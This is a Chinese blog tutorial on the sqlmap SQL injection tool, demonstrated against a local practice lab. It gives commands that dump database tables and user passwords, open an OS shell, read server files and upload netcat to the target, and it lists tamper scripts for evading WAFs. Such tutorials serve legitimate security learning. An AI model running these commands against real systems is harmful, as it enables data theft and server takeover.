sqlmap详解

sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五种不同的注入模式:

  • 1 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
  • 2 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
  • 3 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
  • 4 联合查询注入,可以使用union的情况下的注入;
  • 5 堆查询注入,可以同时执行多条语句的执行时的注入。

1.安装sqlmap

  • 下载及安装:https://github.com/sqlmapproject/sqlmap

2.sqlmap入门

1.判断是否存在注入
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2" #参数大于1时加双引号

2.判断文本中的请求是否存在注入
sqlmap.py -r test.txt #-r一般在存在cookie注入时使用

3.查询当前用户下的所有数据库
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs

4.获取数据库下的表名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables

5.获取表中的字段名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns

6.获取字段的内容
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump

7.获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users

8.获取数据库用户的密码
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password

9.获取当前网站数据库的名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db

10.获取当前网站数据库的用户名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user

3.sqlmap进阶:参数讲解

1.--level=5:探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。

2.--id-dba:当前用户是否为管理权限

3.--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候

4.--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

5.--sql-shell:运行自定义sql语句

6.--os-cmd,--os-shell:运行任意操作系统命令

7.--file-read "C:/example.exe":从数据库服务器中读取文件

8.sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中

4.sqlmap自带绕过脚本tamper的讲解

--identify-waf可以检查网站是否有安全防护(WAF/IDS/IPS)
--tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。
命令:sqlmap.py -u "URL" --tamper "模块名"
目前官方提供53个绕过脚本,比如

apostrophemask.py #将引号替换为UTF-8,用于过滤单引号
base64encode.py #替换为base64编码
multiplespaces.py #围绕sql关键字添加多个空格
space2plus.py  #用+号替换空格
nonrecursivereplacement.py #作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
space2randomblank.py #将空格替换为其他有效字符
unionalltounion.py #将union all select 替换为union select
securesphere.py #追加特制的字符串
space2hash.py #将空格替换为#号,并添加一个随机字符串和换行符。
space2mssqlblank.py #(mssql)将空格替换为其他空符号
space2mssqlhash.py #将空格替换为#号,并添加一个换行符
between.py #用NOT BETWEEN 0 AND替换大于号,用BETWEEN AND替换等号
percentage.py #ASP允许在每个字符前面添加一个%号
sp_password.py #从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py #对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
randomcase.py #随机大小写
charunicodeencode.py #字符串Unicode编码
space2comment.py #将空格替换为/**/
equaltolike.py #将等号替换为like
greatest.py #绕过对>的过滤,用GREATEST替换大于号
ifnull2ifisnull.py #绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py #过滤空格,使用Mysql内联注释的方法进行注入
space2mysqlblank.py #将空格替换为其他空白符号(使用户MySQL)
modsecurityzeroversioned.py #使用mysql内联注释(/*! 00000*/)的方式进行注入
space2mysqldash.py #将空格替换为--,并添加一个换行符。
bluecoat.py #在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。
versionedkeywords.py #注释绕过
halfversionedmorekeywords.py #当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释
space2morehash.py #将空格替换为#号,并添加一个随机字符串和换行符。
apostrophenullencode.py #用非法双字节unicode字符替换单引号
appendnullbyte.py #在有效载荷的结束为止加载零字节字符编码
chardoubleencode.py #对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
unmagicquotes.py #用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
randomcomments.py #用/**/分割sql关键字
posted @ 2019-12-30 12:41  zhengna  阅读(9620)  评论(0编辑  收藏  举报